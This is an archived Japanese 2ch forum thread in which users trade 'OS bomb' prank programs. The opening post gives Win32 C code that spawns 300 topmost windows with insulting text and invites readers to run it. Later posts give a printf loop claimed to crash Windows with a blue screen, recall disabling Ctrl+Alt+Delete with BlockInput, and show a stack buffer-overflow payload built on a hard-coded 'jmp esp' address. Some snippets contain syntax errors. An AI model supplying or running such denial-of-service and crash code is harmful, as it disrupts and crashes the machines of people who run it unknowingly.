OSボム
■ このスレッドは過去ログ倉庫に格納されています
0001DELL
NGNG#include<time.h>
long __stdcall WndProc(HWND h, UINT u, WPARAM w , LPARAM l){
HDC d; PAINTSTRUCT p; static RECT r;
static char str[128] = "go to hell! FuckUP!!!.";
switch(u){
case WM_CLOSE:
return 0;
case 15:
d = BeginPaint(h,&p);
GetClientRect(h,&r);
DrawText(d,str,-1,&r,DT_WORDBREAK);
EndPaint(h,&p);
return 0;
}
return DefWindowProc(h,u,w,l);
}
int __stdcall WinMain(HINSTANCE I, HINSTANCE,
PSTR s, int n){
HWND h;MSG msg;WNDCLASS w;
w.style= CS_HREDRAW | CS_VREDRAW;
w.lpfnWndProc= WndProc;
w.cbClsExtra= w.cbWndExtra= 0;
w.hInstance= I;
w.hIcon= LoadIcon(0, IDI_HAND);
w.hCursor= LoadCursor(0, IDC_NO);
w.hbrBackground= (HBRUSH)GetStockObject(WHITE_BRUSH);
w.lpszMenuName= 0;
w.lpszClassName= "STATIC";
RegisterClass(&w);
for(int x,y,i = 0;i<300;i++){
x = rand() % 924;
y = rand() % 668;
h = CreateWindowEx(WS_EX_TOPMOST,
"STATIC","アーッヒャッヒャッヒャ",
WS_OVERLAPPEDWINDOW | WS_VISIBLE ,
x , y , 200 , 200 , 0 , 0,
I , 0
);}
while (GetMessage(&msg , 0, 0 , 0)) DispatchMessage(&msg);
return msg.wParam;
}
0002デフォルトの名無しさん
NGNG0003デフォルトの名無しさん
NGNG俺も昔、赤と青と白を高速切り替えして殺人プログラムとか作ったよ。
そう言うたぐい。
0004デフォルトの名無しさん
NGNGそうなのか。ありが�d
俺も昔Ctrl+Alt+Delete無効にしてBlockInputかけ続けるプログラム作ったっけ。
0005デフォルトの名無しさん
NGNG0007DELL
NGNG偶然発見したバグではなく、自分で考えますた。
貴方はレベルが高いようですな。俺は初心者です。スマソ
0008DELL
NGNGVisualC++で保存したWin32APIを開いてビルトすると
"外部参照 1 が未解決です。"
みたいなメッセージがでてきてエラーになるんですが、
そのまま元に戻す方法だれか知りませんか?
0009デフォルトの名無しさん
NGNG0010デフォルトの名無しさん
NGNGボクは初心者なのでこのくだりが理解できかねます。くたばれチンポ野郎
0011デフォルトの名無しさん
NGNGポケモン事件ってあったっしょ。あれ。
0012DELL
NGNG>1のコード実行した被害者ですか?
スマソ
0013デフォルトの名無しさん
NGNG0014デフォルトの名無しさん
NGNG僕も初心者です。Win32APIってVC++で保存できるのですね。勉強になりました。
0015DELL
NGNG0016デフォルトの名無しさん
NGNG初心者なんですがWin32APIのコードなんて公開されてるんですね。
僕もそれを読んでWindowsのことを学ぼうと思います。
0017DELL
NGNG勝手にやれば?
0018DELL
NGNGアルゴリズムの仕組みなど説明きぼんぬ
0019デフォルトの名無しさん
NGNG普通に実行できるし。
0020デフォルトの名無しさん
NGNGいい加減自分がスレッドを立てるに値しない頭だと言うことに気づけ。
0021DELL
NGNG悪かったな。
0022デフォルトの名無しさん
NGNG削除要請
http://qb.2ch.net/saku2ch/
ああ。態度で示せ。
0023DELL
NGNGさっきから気になったんだけど、実行したらどうなりましたか?
でたらめの場合クチだけのシッタカ野郎認定で。
0024デフォルトの名無しさん
NGNG0025デフォルトの名無しさん
NGNG>>1は>>1のソースをコンパイルできません。
た だ の 厨 房 で す 。
0026DELL
NGNG別に実行してもらわなくてもそれなりの知識があれば
これくらいのコード見ただけでどうなるか解るだろうよ。
>25
お前のようにコンパイルできない奴は本当の厨房です。
普通の人ならば「このコード実行してください」
といえば普通にコンパイルできますが。
0027デフォルトの名無しさん
NGNGで、1個閉じたら全部消えました。OSはビクともしません。
0028デフォルトの名無しさん
NGNG0029デフォルトの名無しさん
NGNG0030デフォルトの名無しさん
NGNG0031デフォルトの名無しさん
NGNG0032DELL
NGNGおしい!
×押しても閉じられないように細工
他のウインドウがアクティブになろうが常に最前面に表示
タスクマネージャーから実行中プログラム強制停止させようとしても、
注意書きメッセージボックスがウインドウに隠れてしまって
一つ一つどかしていかないと、OKボタン押せません。
実行プログラムは一つなのでそれを停止させれば、ウインドウはすべて消えます。
やはり※OSはビクともしません
0033DELL
NGNG君がいうOSボムというのは?
コードうpしなくていいから、参考程度に教えてキボンヌ。
0034デフォルトの名無しさん
NGNGで、それのどこがOSボムなんだ?
0035DELL
NGNGだからそれは>33で質問してるだろ?
0036デフォルトの名無しさん
NGNGつぅかお前誰だよ?
003727
NGNG適当なウィンドウをタスクマネージャで終了させると、
このウィンドウは応答しません云々とでて、強制終了選ぶと全部一気に閉じたよ。惜しいも何も事実。
0038デフォルトの名無しさん
NGNG#include <stdio.h>
void main(void)
{
printf"\t\b\b");
}
こんなのを言うのかな?
0039デフォルトの名無しさん
NGNGSP3で修正されたっけ。
XPはどうなんだろ。アップデータ出たのかな?
0040デフォルトの名無しさん
NGNG繰り返さなくてええのかえ?
0041デフォルトの名無しさん
NGNG一発で落ちるので問題ないかと。
0042デフォルトの名無しさん
NGNGこれ実行したらどうなるの?
0043デフォルトの名無しさん
NGNGエラーになったよ
0044デフォルトの名無しさん
NGNG実行してみなよ。DELLじゃあるまいし。
0045デフォルトの名無しさん
NGNG004638
NGNG繰り返さないと駄目みたいですね
#include <stdio.h>
void main(void)
{
for(;;)printf"\t\b\b");
}
>>42
青い画面が見れます。
0047デフォルトの名無しさん
NGNGおいおい、でたらめ言うなよ・・・
0048デフォルトの名無しさん
NGNG別に既に修正済みなんだから気にすることも無し。
0049デフォルトの名無しさん
NGNGhttp://slashdot.jp/article.pl?sid=01/10/28/0741257&mode=thread&threshold=
005010
NGNG的外れなレスをアルリガトウ。恥ずかしげもなくこんなスレ立てられるってのは
ある意味尊敬に値するな。
しかしこの手のプログラムは誰もが一度は通る道なのかも。
漏れもWM_CLOSEが来たら自分をもうひとつ起動する終了不能アプリ作って遊んだりしたもんだ。
0051デフォルトの名無しさん
NGNGこんな、クソ役に立たねープログラム組んだ事も、
考えた事もない俺は、みんなと違う道を通ってますか?
0052デフォルトの名無しさん
NGNG2ちゃんに来ている時点で同レベル。安心しなされ。
0053デフォルトの名無しさん
NGNG0054デフォルトの名無しさん
NGNG俺ね、思うんだけどね。
2ちゃん来てる=レベル低い みたいな事なぜ言うんだろう?
たしかに、役に立たない情報も多いけど、
役に立つ情報も沢山あるし。
煽りや罵倒も多々あるけど、この情報量を見ると利用しない手はない。
大きな情報交換の場である2ちゃんを、レベル低いから見ないなんて言ってるヤツは、
不器用。頭固い。勘違いヤロー。
または、多い情報の中から有益と思える情報を見つける事のできない要領の悪いヤツ。
うまくすれば、良い情報源だと思うんだけどねぇ〜。
と、マジレスしてみますた。
0055デフォルトの名無しさん
NGNG人としてどうか。ということかもシレーヌ
0056デフォルトの名無しさん
NGNG人として・・・???
意味が分らないッス。
たしかに、マジ変なのも居てるけどね(w
たとえば、>>1とか。(w
俺は2ちゃん覗きだして自分が変わったとも思わないし、
強いて、悪い影響を受けたとも思ってない。
「すげーヤツも居るんだな!オイ!俺も、もうちと勉強せねば!」
みたいな良い影響は少し受けたり受けなかったり。
と、またマジレスしてみたけど、
まぁ人それぞれってな無難なまとめで。(w
0057デフォルトの名無しさん
NGNGどういう展開になるか予想がつかないんだよなあ。
というわけで気球上げてみる。
void func(unsigned char *src, size_t size)
{
unsigned char b[4];
memcpy(b, src, size);
}
void test()
{
unsigned char code[] = {
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x8b, 0x94, 0xf8, 0x77, // address of "jmp esp"
0x8b, 0xc4, 0x83, 0xc0, 0x0f, 0x50, 0x6a, 0x00, 0xb8,
0xfb, 0x7a, 0xe8, 0x77, // address of FatalAppExit()
0xff, 0xd0, "hello"
};
srand((unsigned)time(NULL));
_alloca(rand()/0x10000);
func(code, sizeof(code));
}
0058デフォルトの名無しさん
NGNG立つ度に荒れて20レス逝く前に沈んでいっている。
0059デフォルトの名無しさん
NGNG想像するに、スレ立ってもハカー気取りの厨房しか集まらん、ということか。
逝ってきます。
0060_
NGNG/ ,――――-ミ
/ / / \ |
| / ,(・) (・) |
(6 つ |
| ___ | / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
| /__/ / < age!
/| /\ \__________
0061デフォルトの名無しさん
NGNG0062デフォルトの名無しさん
NGNGこわいこわい。
■ このスレッドは過去ログ倉庫に格納されています